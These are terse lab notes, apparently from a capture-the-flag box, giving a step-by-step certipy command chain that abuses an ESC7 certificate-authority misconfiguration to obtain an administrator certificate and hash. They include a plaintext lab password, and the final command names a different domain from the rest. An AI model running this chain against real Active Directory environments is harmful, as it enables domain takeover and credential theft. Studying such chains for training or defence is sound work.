ESC7 - exploit

Exploit a certificate service misconfig

One:

certipy req -ca manager-DC01-CA -target dc01.manager.htb -template SubCA -upn [e-mail] -username [e-mail] -p 'R4v3nBe5tD3veloP3r!123'

Two:

certipy ca -username [e-mail] -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.11.236 -ca manager-DC01-CA -add-officer raven

Three:

certipy ca -ca manager-DC01-CA -issue-request 19 -username [e-mail] -p 'R4v3nBe5tD3veloP3r!123'

Four:

certipy req -ca manager-DC01-CA -target dc01.manager.htb -template SubCA -upn [e-mail] -username [e-mail] -p 'R4v3nBe5tD3veloP3r!123'

Five:

certipy ca -u [e-mail] -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.11.236 -ca manager-DC01-CA -issue-request 20

Six:

certipy auth -pfx administrator.pfx -dc-ip 10.10.11.236

Clock skew too great

timedatectl set-ntp false

sudo ntpdate 10.10.11.236

OR

rdate -n <ip>

Get administrator hash

certipy auth -pfx administrator.pfx -username Administrator -domain sequel.htb